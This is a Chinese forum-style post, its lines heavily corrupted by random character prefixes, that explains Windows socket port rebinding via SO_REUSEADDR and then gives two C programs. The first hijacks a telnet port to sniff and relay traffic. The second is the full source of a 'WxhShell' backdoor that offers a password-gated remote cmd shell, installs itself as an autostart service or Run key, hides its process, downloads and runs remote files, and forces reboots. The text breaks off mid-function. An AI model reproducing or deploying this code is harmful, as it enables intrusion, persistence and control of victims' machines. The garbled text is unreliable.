在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
3x{2Dh i s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
U%,N"]` o)hQ]d saddr.sin_family = AF_INET;
9BM 8 &QQ8ut,; saddr.sin_addr.s_addr = htonl(INADDR_ANY);
;
3WA-nn &^W91C?<6 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
\dIQhF%%2 r$Z_Kwe.|& 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
_^)<d$R< H!NyM}jsr 这意味着什么?意味着可以进行如下的攻击:
E-_Q3^ /kY|PY 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
@^';[P! 5V{zdS= 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
/Xds+V^Z SdTJ?P+m 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
<_tkd3t#W 7~V,=WEe 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
dq{wFI) AqzPwO^ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
}`,}e 259 oIP<7gz 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Lz9t9AoB Q< q&a8~ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
"x*5g*k 5z>kz/uxW #include
k'K&GF1B #include
LJ|2=lI+jb #include
AShnCL8uR #include
a|x1aN0 DWORD WINAPI ClientThread(LPVOID lpParam);
{G
D<s)) int main()
2AAZZx +$ {
De(\<H# WORD wVersionRequested;
Hi 1@ DWORD ret;
E\(dyq/ WSADATA wsaData;
_IOt(Zb( BOOL val;
lc71Pp> SOCKADDR_IN saddr;
BWct0= SOCKADDR_IN scaddr;
E .kjYIH8 int err;
uWYI p\NN SOCKET s;
RG)!v6 SOCKET sc;
ZO2$Aan int caddsize;
cv b:FK HANDLE mt;
{5=Iu\e DWORD tid;
YYz,sR'%|} wVersionRequested = MAKEWORD( 2, 2 );
w<hw>e^. err = WSAStartup( wVersionRequested, &wsaData );
KKd Sh1 if ( err != 0 ) {
)-_]y|/D:r printf("error!WSAStartup failed!\n");
OeuM9c{ return -1;
WUM&Lq
k" }
%U&O
\GB saddr.sin_family = AF_INET;
{/C
\GxH+ LH4!QDK- //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
-o8H_MR wW~y?A"{2 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
q}PeXXH saddr.sin_port = htons(23);
H?~|Uj 6 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
zw`T^N# {
c7[<X<yk printf("error!socket failed!\n");
<#s=78
g.3 return -1;
L*Mt/ }
:D>afC8, val = TRUE;
.X;zEyd //SO_REUSEADDR选项就是可以实现端口重绑定的
mZ^z%+Ca| if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
\G?GX {
!TH3oLd" printf("error!setsockopt failed!\n");
*Op;].>E return -1;
fAu^eS%>7 }
^
2"r't //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
?v-( :OF //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
RnN]m!"5 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
JM-spi o cY|?iEVs) if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
?mJNzHrq; {
cuO)cj]@e ret=GetLastError();
,&$+{3 printf("error!bind failed!\n");
WB2An7i@"{ return -1;
IcM99'P( }
ad "yo=%1 listen(s,2);
)Jx +R;Z while(1)
)T1U!n?^x {
-kh O4, caddsize = sizeof(scaddr);
QkXnXu //接受连接请求
9Ij=~p]p sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
%T hY6y( if(sc!=INVALID_SOCKET)
]xlV;m {
i NX%Zk[ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
h01 HX if(mt==NULL)
Fb&Xy{kt1 {
e`pYO]Z printf("Thread Creat Failed!\n");
0j^QY6 break;
:Yi1# }
@ 5!Mr5; }
y9cDPwi:b CloseHandle(mt);
}fps~R }
>+iJ(jqq closesocket(s);
*;QIAd WSACleanup();
b^wL{q return 0;
&_-,Nxsf }
Y40`~ DWORD WINAPI ClientThread(LPVOID lpParam)
&@tD/Jw3 {
:a M
ZJm SOCKET ss = (SOCKET)lpParam;
*f% u c SOCKET sc;
^gb3DNV~y unsigned char buf[4096];
G_GV SOCKADDR_IN saddr;
[?3]+xr: long num;
uD=i-IHT DWORD val;
tC0:w,C) DWORD ret;
p^|IN'lx, //如果是隐藏端口应用的话,可以在此处加一些判断
]Ek6EuaK //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
<j}n/G] saddr.sin_family = AF_INET;
Zl5cHejM saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
dzIcX*" saddr.sin_port = htons(23);
_MF:?p,l if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
3*< O-Jr {
aDrF"j printf("error!socket failed!\n");
s}8(__| return -1;
/5qeNjI+2 }
!~+"TI}_%w val = 100;
'R&Y pR if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Aofk< O!M {
ftS^|%p ret = GetLastError();
@>Y.s6a return -1;
: +Na8\d }
DQC=f8 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
G:$Ta6= {
F*`*5:7 ret = GetLastError();
T r|B:)X return -1;
~HWH2g }
q]%eLfC( if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
97 Oi} {
0(!j]w"r3 printf("error!socket connect failed!\n");
ET t7?,x@ closesocket(sc);
bXSsN\:Y@[ closesocket(ss);
x*]&Ca0+ return -1;
>o=O^:/L }
]mDsd* 1 while(1)
{+`'ZU6C {
vL>cYbJ< //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
_[D6WY+
//如果是嗅探内容的话,可以再此处进行内容分析和记录
*C/bf)w //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
,t"?~Hl". num = recv(ss,buf,4096,0);
=<,>dBs}\ if(num>0)
^HJvT)e4 send(sc,buf,num,0);
<>=A6 else if(num==0)
}e/#dMEi break;
v5 |XyN" num = recv(sc,buf,4096,0);
F#0y0| if(num>0)
m2%OX"# e send(ss,buf,num,0);
]!@z3Hv3 else if(num==0)
rG#o*oA break;
)uj:k*`) }
7Cx*Ts $ closesocket(ss);
DGR[2C)@N closesocket(sc);
8>U{>]WG return 0 ;
g+g0iS }
K]~! =j)v BHmmvbM#Qm qDG{hvl[1r ==========================================================
Pu|PIdu!08 |p4D!M+$7 下边附上一个代码,,WXhSHELL
g8=j{]~C }>q%##<n ==========================================================
Uq}F rK} #6fQ$x(F#j #include "stdafx.h"
$&fP%p g 0Rny #include <stdio.h>
ua!i3]18 #include <string.h>
!p:kEIZ)y #include <windows.h>
Ge'[AhA #include <winsock2.h>
`S`,H #include <winsvc.h>
$N
!l-lu= #include <urlmon.h>
$#z
` R; 49('pq?D #pragma comment (lib, "Ws2_32.lib")
jN3K=
MA #pragma comment (lib, "urlmon.lib")
Sw1z^` 2p^Jqp`$ #define MAX_USER 100 // 最大客户端连接数
6]%SSq& #define BUF_SOCK 200 // sock buffer
,,FO6+4f #define KEY_BUFF 255 // 输入 buffer
n(}cK@ %-lilo #define REBOOT 0 // 重启
bD2):U*Fzo #define SHUTDOWN 1 // 关机
&ikPa ,A e8Ul^] #define DEF_PORT 5000 // 监听端口
U z*7J 0|Rt[qwKb@ #define REG_LEN 16 // 注册表键长度
EgE%NY~ #define SVC_LEN 80 // NT服务名长度
I{/}pr> 3np |\i // 从dll定义API
n]%T>\gw typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
5`_UIYcI typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
''Pu typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
U4$}8~o4 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Jw+k=> tv]^k]n{rf // wxhshell配置信息
(h8RthQt struct WSCFG {
Ihn#GzM?u int ws_port; // 监听端口
",v!geMvu char ws_passstr[REG_LEN]; // 口令
j3-^,r
t4 int ws_autoins; // 安装标记, 1=yes 0=no
sYfiC`9SO char ws_regname[REG_LEN]; // 注册表键名
**,(>4j char ws_svcname[REG_LEN]; // 服务名
j1Ns|oph1 char ws_svcdisp[SVC_LEN]; // 服务显示名
bjL8Wpk char ws_svcdesc[SVC_LEN]; // 服务描述信息
a)o-6 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
B;vpG?s{9 int ws_downexe; // 下载执行标记, 1=yes 0=no
MvCB|N"qy char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
xYLTz8g= char ws_filenam[SVC_LEN]; // 下载后保存的文件名
[=EmDP:@ /h]#}y j };
No\3kRB4bi qUSy0SQ/l // default Wxhshell configuration
b41f7t= struct WSCFG wscfg={DEF_PORT,
x(]Um! "xuhuanlingzhe",
5~R1KjjvA 1,
GJr1[ "Wxhshell",
s)A=hB-V "Wxhshell",
6L/` "WxhShell Service",
mXSs:FqE! "Wrsky Windows CmdShell Service",
L*(!P4S%} "Please Input Your Password: ",
1B0+dxN` 1,
%2I >0 "
http://www.wrsky.com/wxhshell.exe",
v1R t$[ "Wxhshell.exe"
VYo2m };
+|w%}/N m=4hi(g // 消息定义模块
WC7ltw2 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
ML!>tCT char *msg_ws_prompt="\n\r? for help\n\r#>";
6)]zt char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
t/vw%|AS char *msg_ws_ext="\n\rExit.";
%ij,xN char *msg_ws_end="\n\rQuit.";
sZDxTP+ char *msg_ws_boot="\n\rReboot...";
VF bso3q<j char *msg_ws_poff="\n\rShutdown...";
2(i@\dZCb< char *msg_ws_down="\n\rSave to ";
h,fC-+H5 (teK0s;t5k char *msg_ws_err="\n\rErr!";
mS9ITe
M char *msg_ws_ok="\n\rOK!";
Z,"f2UJ #dj,=^1_14 char ExeFile[MAX_PATH];
-V F*h.' int nUser = 0;
W#bOx0 HANDLE handles[MAX_USER];
N51e.; int OsIsNt;
xf7_|l /)J]m SERVICE_STATUS serviceStatus;
FoX,({*Ko~ SERVICE_STATUS_HANDLE hServiceStatusHandle;
AxAbU7m %E"dha JY // 函数声明
PR2;+i3 int Install(void);
/cX%XZg int Uninstall(void);
c}G\F$ int DownloadFile(char *sURL, SOCKET wsh);
=M],5<2; int Boot(int flag);
>(\Z-I&YQ void HideProc(void);
lc(}[Z/|V int GetOsVer(void);
Gl6M(<f\5 int Wxhshell(SOCKET wsl);
VBN=xg} void TalkWithClient(void *cs);
<hBd
#J int CmdShell(SOCKET sock);
dcH@$D@~S int StartFromService(void);
^Z>Nbzr{ int StartWxhshell(LPSTR lpCmdLine);
{3qlx1w -}CMNh VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
cna/?V VOID WINAPI NTServiceHandler( DWORD fdwControl );
8#ZF<BY `gX$N1( // 数据结构和表定义
nrM_ay SERVICE_TABLE_ENTRY DispatchTable[] =
9>-]*7 {
ws([bS2h {wscfg.ws_svcname, NTServiceMain},
?'^dYQ4 {NULL, NULL}
^|lw~F };
O!k C kKs}E| T // 自我安装
2u%YRrp int Install(void)
:soR7oHZ {
jmJeu@( char svExeFile[MAX_PATH];
#/
HQ?3h] HKEY key;
*3A)s
O strcpy(svExeFile,ExeFile);
6R|^IPOGp 5_[we1$P // 如果是win9x系统,修改注册表设为自启动
S7h?tR*u if(!OsIsNt) {
FT
Ytf4t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
% pQi}x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Zq" RegCloseKey(key);
&Vy.)0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
~F.kgX RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ZkqZO#nq
C RegCloseKey(key);
Zv5vYe9Ow return 0;
XR+ }
zrL +:/t }
q^eLbivVE }
nC5]IYL| else {
>zV ly::? // 如果是NT以上系统,安装为系统服务
6=p!`DOd SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
)W^$7Em if (schSCManager!=0)
^D?{[LBc {
62 9g_P) SC_HANDLE schService = CreateService
(b"kN( (
=Bos>;dl schSCManager,
7{Zs"d{s wscfg.ws_svcname,
!7n`-#) wscfg.ws_svcdisp,
5BS !6o;P' SERVICE_ALL_ACCESS,
+QA|]Y~! SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
)ml#2XP!f SERVICE_AUTO_START,
T_ga?G< SERVICE_ERROR_NORMAL,
>Q2kXwN svExeFile,
34I;DUdcE NULL,
a49t/ NULL,
ay,"MJ2 NULL,
9dwLkr NULL,
?D+H2[n\a
NULL
_BI[F
m );
}=fls=c/0 if (schService!=0)
u,JUMH]@ {
}$` PZUw> CloseServiceHandle(schService);
cuh Z_l CloseServiceHandle(schSCManager);
jP\5bg-} strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
jE2EoQi, strcat(svExeFile,wscfg.ws_svcname);
A-l[f\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
4"s/T0C RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
9.wZhcqqU RegCloseKey(key);
qoSZ+ khS$ return 0;
FVWHiwRU, }
d0 mfqP= }
IweNe`Z CloseServiceHandle(schSCManager);
vu~7Z;y(<j }
Ao, <G.>R }
'DD~xCXE eQJyO9$G return 1;
\u*[mrX_B: }
T'-kG"l b ;~Gez;AhK // 自我卸载
NEt_UcC int Uninstall(void)
5s:g(gy3BR {
-Yg?@yt HKEY key;
=kb/4eRg BFQ`Ab+ if(!OsIsNt) {
=%d.wH?dZ/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
9>/:c\q+ RegDeleteValue(key,wscfg.ws_regname);
'H(khS RegCloseKey(key);
Vo%DoZg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5P[urOvV RegDeleteValue(key,wscfg.ws_regname);
dMK\ y4#i RegCloseKey(key);
1IN^,A]r2h return 0;
xiO10:L4 }
N~%~Q }
^L-; S }
w"Y'I$ else {
#:=*n(GT ok{
F=z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
?~X^YxWsY if (schSCManager!=0)
f@ .s(i=z {
=D
Tbz3< SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
&%4A3.qE if (schService!=0)
2+|U!X {
&R3#? 1, if(DeleteService(schService)!=0) {
IZ@M
K CloseServiceHandle(schService);
sOm&7A? CloseServiceHandle(schSCManager);
{j%7/T{ return 0;
/\U:F }
Go
!{T CloseServiceHandle(schService);
X<d`!,bn@
}
PoZxT-U CloseServiceHandle(schSCManager);
.[o`TlG% }
yGC3B00Z }
$1n\jN $*C'{&2 return 1;
:Fi$-g }
WQv`%%G2> rSKZc`<^ // 从指定url下载文件
#@<L$"L int DownloadFile(char *sURL, SOCKET wsh)
pDt45 {
g:?p/L HRESULT hr;
_+d*ljP)l3 char seps[]= "/";
xzBUm char *token;
:z2G
a char *file;
+THK
Jn!> char myURL[MAX_PATH];
aK--D2@}i char myFILE[MAX_PATH];
9:7&`JlC#
d_ji
..T strcpy(myURL,sURL);
oG=4&SQ token=strtok(myURL,seps);
T&->xef= while(token!=NULL)
yK0iW {
Bh7dAV( file=token;
$spk.j token=strtok(NULL,seps);
7w.9PNhy }
V"8w:? #,;Q|)AD:e GetCurrentDirectory(MAX_PATH,myFILE);
SA{5A 1 strcat(myFILE, "\\");
ddw^oU strcat(myFILE, file);
!BN@cc[% send(wsh,myFILE,strlen(myFILE),0);
J#?z/ 3v( send(wsh,"...",3,0);
8b< 'jft hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
!f G}<6&i if(hr==S_OK)
.QB)Y* z return 0;
8UXtIuQ else
"B0I$`~wu return 1;
\I 7,1I FvDi4[F# }
Amv:dh >~})O&t // 系统电源模块
;]T;mb> int Boot(int flag)
kNoS% ?1, {
)pG*_q HANDLE hToken;
98lz2d/Fcq TOKEN_PRIVILEGES tkp;
"X\6tl7a| 4MP8t@z if(OsIsNt) {
TiD|.a8S OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
1B~[L 5p9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
QFIYnxY9 tkp.PrivilegeCount = 1;
qD{~QHDa tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
_ c,{}sn AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
wpcqgc if(flag==REBOOT) {
QZFH>,d if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
4}Yn!"jW& return 0;
I[bWd{i: }
af|x(:!H else {
41I2t(H @z if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
u|75r%p> return 0;
t"X^|!hKIF }
[!U!
Z'i }
N_?15R7h else {
fzzk#jU if(flag==REBOOT) {
13f'zx(AO if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Uac.8wQh return 0;
?4#wVzuzA }
\12y,fOJ else {
v>sjS3 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
O#Ho08*Xn return 0;
&p5^Cjy L }
w6|l ~.$= }
Jn"ya^~ ^IO\J{U{"x return 1;
EC7)M}H }
kn}bb*eZ f s2}a // win9x进程隐藏模块
NV`=T?1[5 void HideProc(void)
r>J%Eu/O {
d?)Ic1][ ;!)gjiapw HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
G| qsJ if ( hKernel != NULL )
BB.120v&N {
drS>~lSxB pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
'k/:3?R ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
*&~
' FreeLibrary(hKernel);
ex8}./mjJ }
*z)+'D*+ R6\|:mI,$ return;
rAA?{(!9x }
X-`PF +7r?vo1 // 获取操作系统版本
DtkOb,wY int GetOsVer(void)
hpo*5Va {
lA n^)EL OSVERSIONINFO winfo;
p']{WLDj2 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
.@@&q4=& GetVersionEx(&winfo);
),5A&qT* if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
a|Wrc)UR return 1;
^tI4 FQ>Y else
x]vyt}oCmk return 0;
Q$A;Fk}- }
.7> g8 bZu2.?{ // 客户端句柄模块
tkW7wP; int Wxhshell(SOCKET wsl)
9!s)52qt {
|l:,EA_v| SOCKET wsh;
fHXz{,?/w struct sockaddr_in client;
7$Lt5rn"} DWORD myID;
#2;8/"v &90pKs while(nUser<MAX_USER)
E=t^I/f)E {
JsDT
int nSize=sizeof(client);
UoHNKB73 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Gk!CU"`sP if(wsh==INVALID_SOCKET) return 1;
pd.5 g:Fo7*i handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
5EL&?\e if(handles[nUser]==0)
Vw5Pgt x closesocket(wsh);
/l;_ xs else
Kc+TcC nUser++;
60r0O5=|Fl }
Iy Vmz' WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
/`g~lww2O RSIhZYA return 0;
yH]w(z5Z }
sq+cF/jo6 z;\,Dt // 关闭 socket
| v:fP;zc void CloseIt(SOCKET wsh)
qm"AatA {
h&z(;B!;y. closesocket(wsh);
bRI `ZT0 nUser--;
a<P?4tbF ExitThread(0);
\{ff7_mLo }
CykvTV Q T*](oA@ // 客户端请求句柄
7mnZ,gpb void TalkWithClient(void *cs)
cCq mrjUmV {
D9\ E kX /m h #o SOCKET wsh=(SOCKET)cs;
?y,z char pwd[SVC_LEN];
{r:5\ char cmd[KEY_BUFF];
A4Tjfc,rx9 char chr[1];
O@-(fyG int i,j;
\hZye20 E|x t\* while (nUser < MAX_USER) {
)No> Q :t 7|X.E if(wscfg.ws_passstr) {
4']eJ==OH if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
+lw1v //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
=qS\+ //ZeroMemory(pwd,KEY_BUFF);
,AyQCUz{*? i=0;
;:8SN&). while(i<SVC_LEN) {
HA~BXxa/ ~--F?KUnL // 设置超时
'v_k#% fd_set FdRead;
DxxY<OkN struct timeval TimeOut;
6&6t= FD_ZERO(&FdRead);
nmClP FD_SET(wsh,&FdRead);
OVEQ^\Q5D TimeOut.tv_sec=8;
vd0uI#g%# TimeOut.tv_usec=0;
6gB;m$:fV int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
c='uyx if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
2@:Ztt6~ jB3Rue:+g if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
SlD7 \X&~ pwd
=chr[0]; N==Y]Z$G
if(chr[0]==0xd || chr[0]==0xa) { W4]jx]
pwd=0; g.COKA
break; b21@iW
} :F?L,I,K
i++; @}hdMVi
} I?KGb:]|
Q,nXc
// 如果是非法用户,关闭 socket +]0/:\(B
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FTcXjWBPF9
} htOVt\+!34
k<k@Tlo
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); imZ"4HnPP
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0w?G&jjNtM
kNv/L$oG
while(1) { zUz j
F
%dq|)r
ZeroMemory(cmd,KEY_BUFF); *q0vp^?
|I s"ov
// 自动支持客户端 telnet标准 +H
"j-:E@t
j=0; Us4#O&
while(j<KEY_BUFF) { o=Ia{@
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $zJ!L
cmd[j]=chr[0]; !Er)|YP
if(chr[0]==0xa || chr[0]==0xd) { 6yedl0@wa!
cmd[j]=0; h&<>nK
break; SH;:bLk_
} V~S(cO[vj
j++; D9higsN
} rWN%Tai-
9lc{{)m2)
// 下载文件 HD;l1W)
if(strstr(cmd,"http://")) { %VwkYAgA
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6:AZZF1
if(DownloadFile(cmd,wsh)) O.$OLK;v
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y1kI^B
else i`7:^v;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |^ J5YwCf
} :KBy(}V
else { R)'[Tt`# R
1NQU96
switch(cmd[0]) { 'rSJ9Mw"x
jl,>0MA
// 帮助 YguY5z
case '?': { ?5rM'O2
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ant#bDb/
break; VVHL@
} P7
R}oO_n:
// 安装 4[n[Ch=lu
case 'i': { $im6v
if(Install()) &?3P5dy_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /9SNXjfbt
else |snWO0iF
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A\QrawBp0l
break; -\V;Gw8mD
} * a@78&N
// 卸载 |jyD@Q,4
case 'r': { \_AoG8B
if(Uninstall()) SI:Iv:>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?EA&kZR]
else zd?uMq;w
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oE$zOS&2
break; 15"[MX A
} A5%cgr% 6
// 显示 wxhshell 所在路径 [A#>G4a<
case 'p': { !&5B&w{u~!
char svExeFile[MAX_PATH]; r,cK#!<%
strcpy(svExeFile,"\n\r"); ZG1 {"J/z
strcat(svExeFile,ExeFile); ;-!O+c
send(wsh,svExeFile,strlen(svExeFile),0); 7*g'4p-
break; K"g`,G6S
} Z]=9=S|
.4
// 重启 q.v_?X<_
case 'b': { r lXMrn
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
4B'-tV
if(Boot(REBOOT)) f^ 6da6Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); + wF5(
else { 3Qu Ft~@@
closesocket(wsh); c$~J7e6$
ExitThread(0); !k=~a]
} 5g4xhYl70n
break; Pc=:j(
} #5mnSky+s
// 关机 4zx_L8#Z
case 'd': { }BLT2]y0
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |n\(I$
if(Boot(SHUTDOWN)) x<h-F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nt_7Z
else { W0KSLxM
closesocket(wsh); ?Fj>7
ExitThread(0); E]%&)3O[
} J)_IfbY
break; 7G9o%!D5
} ?8R
// 获取shell Q)l~?Fx
case 's': { 8u bb~ B;
CmdShell(wsh);
Mgc|># =
closesocket(wsh); ~VaO,8&+L
ExitThread(0); J7s\
break; b'TkYa^
} 5.FAuzz
// 退出 {^SHIL
case 'x': { YOY{f:ew
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); * AjJf)o
CloseIt(wsh); 6;hZHe 'W
break; +B-;.]L
T
} XyytO;XM-
// 离开 G~`nLC^Y
case 'q': { 1J O@G3,
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4-{f$Z@
closesocket(wsh); \_PD@A9
WSACleanup(); &g\?znF]H
exit(1); e?eX9yA7F
break; j#JE4(&
} tCirdwmg
} DF~{i{
} lO dwH"
TH#5j.uUs
// 提示信息 lO5*n|Ic,
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D-4\AzIb
} Vh;P,no#
} ">NPp\t>/Z
g)#.|d+
return; ~4[4"Pi>|
} #J)83
R|O."&CAB
// shell模块句柄 PvB-Cqc
int CmdShell(SOCKET sock) L(i0d[F
{ JBvP {5
STARTUPINFO si; )6,Pmq~)
ZeroMemory(&si,sizeof(si)); Ncle8=8
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jq"iLgEMO
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |_`wC
PROCESS_INFORMATION ProcessInfo; _^cFdP)8|
char cmdline[]="cmd"; 6o^sQ(]
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !ie'}|c
return 0; e-/+e64Q@
} /J` ZO$
8lcB.M
// 自身启动模式 '*,P33h9<!
int StartFromService(void) -p2 =?a
{ f+j-M|A
typedef struct (DrDWD4_
{ ~q05xy8
DWORD ExitStatus; !xo; $4
DWORD PebBaseAddress; mYiIwm1cb(
DWORD AffinityMask; W!
q-WU
DWORD BasePriority; 8.R~Ys*
